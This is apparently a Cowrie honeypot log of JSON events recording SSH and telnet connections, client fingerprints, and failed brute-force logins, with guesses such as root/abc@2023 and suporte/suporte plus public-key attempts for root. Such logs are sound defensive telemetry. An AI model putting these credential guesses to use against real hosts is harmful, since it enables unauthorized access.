{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:34.830597Z","src_ip":"103.153.68.219","session":"1f2b4f513aea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:35.084981Z","src_ip":"103.153.68.219","session":"1f2b4f513aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.22831177711487,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:35.214198Z","src_ip":"152.42.224.71","session":"a65ed02c7b8a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"o123456","message":"login attempt [root/o123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:35.842332Z","src_ip":"103.153.68.219","session":"1f2b4f513aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:37.095062Z","src_ip":"103.153.68.219","session":"1f2b4f513aea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":56491,"dst_ip":"10.17.0.5","dst_port":22,"session":"889c42c5a493","protocol":"ssh","message":"New connection: 179.176.210.17:56491 (10.17.0.5:22) [session: 889c42c5a493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:40.224910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:40.229536Z","src_ip":"179.176.210.17","session":"889c42c5a493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.44105339050293,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:40.232769Z","src_ip":"152.42.224.71","session":"05c8b0139dde","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:40.369819Z","src_ip":"179.176.210.17","session":"889c42c5a493","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@2023","message":"login attempt [root/abc@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:40.964545Z","src_ip":"179.176.210.17","session":"889c42c5a493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:42.108266Z","src_ip":"179.176.210.17","session":"889c42c5a493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53970,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9c83b455a13","protocol":"telnet","message":"New connection: 152.42.224.71:53970 (10.17.0.5:23) [session: b9c83b455a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:42.203293Z"}
{"eventid":"cowrie.session.closed","duration":52.50062298774719,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:42.252110Z","src_ip":"152.42.224.71","session":"97053e5a111e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44592,"dst_ip":"159.203.135.109","dst_port":22,"session":"e45cc2761c31","protocol":"ssh","message":"New connection: 31.40.204.166:44592 (159.203.135.109:22) [session: e45cc2761c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:42.512066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:42.516943Z","src_ip":"31.40.204.166","session":"e45cc2761c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:42.684136Z","src_ip":"31.40.204.166","session":"e45cc2761c31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:43.311506Z","src_ip":"31.40.204.166","session":"e45cc2761c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:44.508852Z","src_ip":"31.40.204.166","session":"e45cc2761c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.888341903686523,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:47.325736Z","src_ip":"152.42.224.71","session":"d6e5f4ef514d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48152,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddcc9e3c62e9","protocol":"telnet","message":"New connection: 152.42.224.71:48152 (10.17.0.5:23) [session: ddcc9e3c62e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:47.732771Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48156,"dst_ip":"10.17.0.5","dst_port":23,"session":"908d5f418558","protocol":"telnet","message":"New connection: 152.42.224.71:48156 (10.17.0.5:23) [session: 908d5f418558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:51.628826Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40144,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cca4d9e21ae","protocol":"ssh","message":"New connection: 31.40.204.166:40144 (159.203.135.109:22) [session: 9cca4d9e21ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:54.710186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:54.716942Z","src_ip":"31.40.204.166","session":"9cca4d9e21ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:54.895000Z","src_ip":"31.40.204.166","session":"9cca4d9e21ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:55.310490Z","src_ip":"31.40.204.166","session":"9cca4d9e21ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.180.24","src_port":11096,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0579817353a","protocol":"ssh","message":"New connection: 154.16.180.24:11096 (10.17.0.5:22) [session: a0579817353a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.035268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.039632Z","src_ip":"154.16.180.24","session":"a0579817353a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.129830Z","src_ip":"154.16.180.24","session":"a0579817353a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":42958,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6ba33e2c550","protocol":"ssh","message":"New connection: 103.75.182.198:42958 (159.203.135.109:22) [session: e6ba33e2c550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.302787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.306717Z","src_ip":"103.75.182.198","session":"e6ba33e2c550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.503294Z","src_ip":"31.40.204.166","session":"9cca4d9e21ae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:c2:4e:e5:25:bc:39:43:94:0e:ed:b3:02:d5:87:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAiGyY7a+8KqiDh1dAUJavHC++t2CRQuVxNGguWB7goXxPPqj9jrCrWR/EafOUfCvd3tVCST91LB1ywbvTH60eUfGEEO2lrW0bd39Gi/f+WQoIFBCtVH6uNdlZNN62G7Q5Ae6RK8KK9yS7T4aRZc+uU7bzXui0l8FRBr8G+9MJTG6l+jTAoXudHVusfcVOjVxiKf4tw0R4KYS/HQt4nYt3jfD4Ne2zZiBt9O8l3waNCasYgzDmLxhCg90mP2ELYkjPCasVZQylA3NHodJJ4h/lER2b+9wGNDLCD/qsHDCYkNl8gQ8R4udu3fhVzXeShyCKjPJPCH2KqTPp8d2Ff+Tn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:c2:4e:e5:25:bc:39:43:94:0e:ed:b3:02:d5:87:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.542086Z","src_ip":"154.16.180.24","session":"a0579817353a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:c2:4e:e5:25:bc:39:43:94:0e:ed:b3:02:d5:87:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAiGyY7a+8KqiDh1dAUJavHC++t2CRQuVxNGguWB7goXxPPqj9jrCrWR/EafOUfCvd3tVCST91LB1ywbvTH60eUfGEEO2lrW0bd39Gi/f+WQoIFBCtVH6uNdlZNN62G7Q5Ae6RK8KK9yS7T4aRZc+uU7bzXui0l8FRBr8G+9MJTG6l+jTAoXudHVusfcVOjVxiKf4tw0R4KYS/HQt4nYt3jfD4Ne2zZiBt9O8l3waNCasYgzDmLxhCg90mP2ELYkjPCasVZQylA3NHodJJ4h/lER2b+9wGNDLCD/qsHDCYkNl8gQ8R4udu3fhVzXeShyCKjPJPCH2KqTPp8d2Ff+Tn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.548829Z","src_ip":"154.16.180.24","session":"a0579817353a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.555160Z","src_ip":"103.75.182.198","session":"e6ba33e2c550","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:f9:af:a8:88:ae:27:d3:73:51:31:78:62:18:ea:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwOiPEYyxsN0GS80kPksHnitDBkHC30xY7OtSphvrAmONwkaH5WNyPAaC736hU3myK5xGDgccW0SA0wZ8/nLdDvAxztF8+tEf0G2FpXLhb0bCnRi/ueVBgFgCRTx6wm2tJw1NUyEcIYucjNbO/r8sW55uP9yjZTqETwLQ7+Xck59PpdWIcQDsFvp1YrXffVg2u6ctKJ3S3k1H1JKbtVqU/iPWx3eFLiDDgOXV1HjEiIoYCRi9h5AwHbQkJCxTLT+SK4LjsDejZzCAk9ei5Shdj43I2/aG4nnW0bVelTFPB7GmetsIigiIxvHVFsaTcQUuTW1DDVxLAV5fWispL9vgt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:f9:af:a8:88:ae:27:d3:73:51:31:78:62:18:ea:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.636872Z","src_ip":"154.16.180.24","session":"a0579817353a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:f9:af:a8:88:ae:27:d3:73:51:31:78:62:18:ea:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwOiPEYyxsN0GS80kPksHnitDBkHC30xY7OtSphvrAmONwkaH5WNyPAaC736hU3myK5xGDgccW0SA0wZ8/nLdDvAxztF8+tEf0G2FpXLhb0bCnRi/ueVBgFgCRTx6wm2tJw1NUyEcIYucjNbO/r8sW55uP9yjZTqETwLQ7+Xck59PpdWIcQDsFvp1YrXffVg2u6ctKJ3S3k1H1JKbtVqU/iPWx3eFLiDDgOXV1HjEiIoYCRi9h5AwHbQkJCxTLT+SK4LjsDejZzCAk9ei5Shdj43I2/aG4nnW0bVelTFPB7GmetsIigiIxvHVFsaTcQUuTW1DDVxLAV5fWispL9vgt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.640637Z","src_ip":"154.16.180.24","session":"a0579817353a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:8c:ce:82:45:11:86:dc:80:72:85:0e:3a:3c:f4:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrmoqv5a2mAJMWSDZN94is4VNPwqTz5utj0dkpR28UR2d15RCi1Nv2HaksaN1phPWPrAJ5iZbe2c0rtGp9H0JHynzhyZc5GEA6na4Y9blwXn0Lv0ZQCZwvlhVo7nXZSG0YIxnWHBxBDyzJ3pn4nABm5HvZy5ZRxt/XyJwTdJcazwC8p9C9aR1DOwKJzutghwHH+KrZ+ht6sWaesK/TEWW+MuIgcSbP960gdDQYQkEzD2YxbyGRAg+sQlqdDrT+U45cNpfz3PrBsNUllT+1vQrpigm1Ah1V51RkE8Bf8IiKcHG9+gfK6nRe7lsD3WG0R/f2W9gNmfPVkmX8JgPJ+mjL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:8c:ce:82:45:11:86:dc:80:72:85:0e:3a:3c:f4:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.730527Z","src_ip":"154.16.180.24","session":"a0579817353a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:8c:ce:82:45:11:86:dc:80:72:85:0e:3a:3c:f4:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrmoqv5a2mAJMWSDZN94is4VNPwqTz5utj0dkpR28UR2d15RCi1Nv2HaksaN1phPWPrAJ5iZbe2c0rtGp9H0JHynzhyZc5GEA6na4Y9blwXn0Lv0ZQCZwvlhVo7nXZSG0YIxnWHBxBDyzJ3pn4nABm5HvZy5ZRxt/XyJwTdJcazwC8p9C9aR1DOwKJzutghwHH+KrZ+ht6sWaesK/TEWW+MuIgcSbP960gdDQYQkEzD2YxbyGRAg+sQlqdDrT+U45cNpfz3PrBsNUllT+1vQrpigm1Ah1V51RkE8Bf8IiKcHG9+gfK6nRe7lsD3WG0R/f2W9gNmfPVkmX8JgPJ+mjL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.734600Z","src_ip":"154.16.180.24","session":"a0579817353a","protocol":"ssh"}
